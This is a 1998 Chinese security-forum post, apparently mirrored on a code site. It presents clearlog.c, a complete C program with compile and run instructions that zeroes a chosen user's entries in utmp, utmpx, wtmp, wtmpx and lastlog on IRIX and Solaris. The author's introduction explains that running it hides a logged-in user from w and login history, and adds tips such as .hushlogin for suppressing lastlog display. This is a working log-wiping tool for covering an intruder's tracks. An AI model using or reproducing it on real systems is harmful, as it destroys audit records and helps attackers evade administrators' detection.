?? clearlog.c.txt
字號:
發(fā)信人: scz (小四★笑看風(fēng)云), 信區(qū): Security
標(biāo) 題: clearlog.c
發(fā)信站: 武漢白云黃鶴站 (Mon Dec 28 19:52:30 1998) , 站內(nèi)信件
大家都是高手,我不大跟得上形勢發(fā)展,只是覺得
還有許多好學(xué)的同志如我一樣急于有點感性認(rèn)識,而
不是一上來就術(shù)語漫天飛舞,所以把精華區(qū)中的東西
實地演練一番,因為我知道自己當(dāng)時想編譯運行一個
程序的心情。原來的程序中將include去掉了,據(jù)說
是出于什么考慮,不是很理解, 既然寫出來是為了
交流學(xué)習(xí)互相提高,就不必藏頭露尾半遮半掩,由此
想及一些話說半截吞吞吐吐,與其這樣賣乖不如不說,
至少小弟對此現(xiàn)象深惡痛絕,此次偏要補全。程序未
經(jīng)優(yōu)化,僅僅是閑來修改精華區(qū)中一程序所得,原來
沒有處理/var/adm/utmpx和/var/adm/wtmpx,并且對
/var/adm/lastlog的處理不適用于irix6.2。 程序不
一定適合每種Unix系統(tǒng),但已經(jīng)給出了方向和思路,
事實上我只是簡單地看了一下utmpx的man,就照貓畫
老虎補充了一下。 如果你看過了程序,完全應(yīng)該根
據(jù)自己的目標(biāo)操作系統(tǒng)修改一下。 顯然這個程序只
處理了那些非正文文件,即無法通過vi編輯的日志文
件,至于其余日志文件應(yīng)該用vi去處理一下。關(guān)于
lastlog的問題,若在用戶主目錄下存在一個
.hushlogin文件,內(nèi)容無所謂,則下次登錄時不會顯
示lastlog,雖然日志里依舊記錄了。 一般也可以通
過telnet localhost或rlogin localhost等來抹除,
只是也太小兒科了些。登錄上去后先快速w一下,可以
看到自己,等你clearlog后再w就已經(jīng)找不到自己了,
雖然你還在系統(tǒng)里。大家都是革命好同志,革命自覺
性都很高,交流學(xué)習(xí)無妨,可千萬不要走水了。古典
派還是比新生代文明些吧。小弟對攻擊一竅不通,所
提可笑之處尚請大方之家莫要笑話。
/*
編譯:
cc -o clearlog clearlog.c
運行:
irix6.2下,./clearlog root
solaris2.6下,./clearlog root sun
*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <utmpx.h>
#include <pwd.h>
#include <lastlog.h>
#include <errno.h>
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"
#define UTMPX_FILE "/var/adm/utmpx"
#define WTMPX_FILE "/var/adm/wtmpx"
#define ut_name ut_user
#define ut_xtime ut_tv.tv_sec
#ifndef L_XTND /* solaris下似乎沒有定義這個宏 */
#define L_XTND 2 /* relative to end of file */
#endif
extern int errno;
int f;
void kill_utmpx (char* who) {
struct utmpx utmpx_ent;
if ((f = open(UTMPX_FILE, O_RDWR)) >= 0) {
while (read(f, &utmpx_ent, sizeof(utmpx_ent)) > 0 ) {
if (!strncmp(utmpx_ent.ut_name, who, strlen(who))) {
bzero((char*)&utmpx_ent, sizeof(utmpx_ent));
lseek(f, -(sizeof(utmpx_ent)), SEEK_CUR);
write(f, &utmpx_ent, sizeof(utmpx_ent));
}
}
close(f);
}
if ((f = open(WTMPX_FILE, O_RDWR)) >= 0) {
while (read(f, &utmpx_ent, sizeof(utmpx_ent)) > 0 ) {
if (!strncmp(utmpx_ent.ut_name, who, strlen(who))) {
bzero((char*)&utmpx_ent, sizeof(utmpx_ent));
lseek(f, -(sizeof(utmpx_ent)), SEEK_CUR);
write(f, &utmpx_ent, sizeof(utmpx_ent));
}
}
close(f);
}
}
void kill_utmp (char* who) {
struct utmp utmp_ent;
if ((f = open(UTMP_NAME, O_RDWR)) >= 0) {
while (read(f, &utmp_ent, sizeof(utmp_ent)) > 0 ) {
if (!strncmp(utmp_ent.ut_name, who, strlen(who))) {
bzero((char*)&utmp_ent, sizeof(utmp_ent));
lseek(f, -(sizeof(utmp_ent)), SEEK_CUR);
write(f, &utmp_ent, sizeof(utmp_ent));
}
}
close(f);
}
}
void kill_wtmp (char* who) {
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f = open(WTMP_NAME, O_RDWR)) >= 0) {
while(pos != -1L) {
lseek(f, -(long)((sizeof(struct utmp)) * pos), L_XTND);
if (read(f, &utmp_ent, sizeof(struct utmp)) < 0) {
pos = -1L;
}
else {
if (!strncmp(utmp_ent.ut_name, who, strlen(who))) {
bzero((char*)&utmp_ent, sizeof(struct utmp ));
lseek(f,-((sizeof(struct utmp)) * pos), L_XTND);
write(f, &utmp_ent, sizeof(utmp_ent));
pos = -1L;
}
else {
pos += 1L;
}
}
}
close(f);
}
}
void solaris_kill_lastlog (char* who) {
struct passwd *pwd;
struct lastlog newll;
if ((pwd = getpwnam(who)) != NULL) {
if ((f = open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof(struct lastlog), 0);
bzero((char*)&newll, sizeof(newll));
write(f, (char*)&newll, sizeof(newll));
close(f);
}
}
else {
printf("%s: ?\n", who);
}
}
void kill_lastlog (char* who) {
struct passwd *pwd;
struct lastlog newll;
char tempString[1024];
if ((pwd = getpwnam(who)) != NULL) {
sprintf(tempString, "%s/%s", LASTLOG_NAME, who);
printf(tempString);
printf("\n");
if ((f = open(tempString, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof(struct lastlog), 0);
bzero((char*)&newll, sizeof(newll));
write(f, (char*)&newll, sizeof(newll));
close(f);
}
}
else {
printf("%s: ?\n", who);
}
}
/*
void kill_lastlog (char* who) {
struct passwd *pwd;
struct lastlog newll;
char tempString[1024];
if ((pwd = getpwnam(who)) != NULL) {
sprintf(tempString, "%s/%s", LASTLOG_NAME, who);
printf(tempString);
printf("\n");
if (remove(tempString) == -1) {
if (errno == ENOENT) {
printf("無此文件\n");
}
else if (errno == EACCES) {
printf("權(quán)限不對s\n");
}
}
}
else {
printf("%s: ?\n", who);
}
}
*/
int main (int argc, char* argv[]) {
if (argc == 2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmpx(argv[1]);
kill_utmp(argv[1]);
printf("\nOk!\n");
}
else if (argc == 3) {
solaris_kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmpx(argv[1]);
kill_utmp(argv[1]);
printf("\nOk!\n");
}
else {
printf("\nError!\n");
}
}
--
無論何時何地,流星總會帶著它已寂滅的伙伴踏上
歸途,回到從前出發(fā)的故鄉(xiāng)
-------風(fēng)中的承諾
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -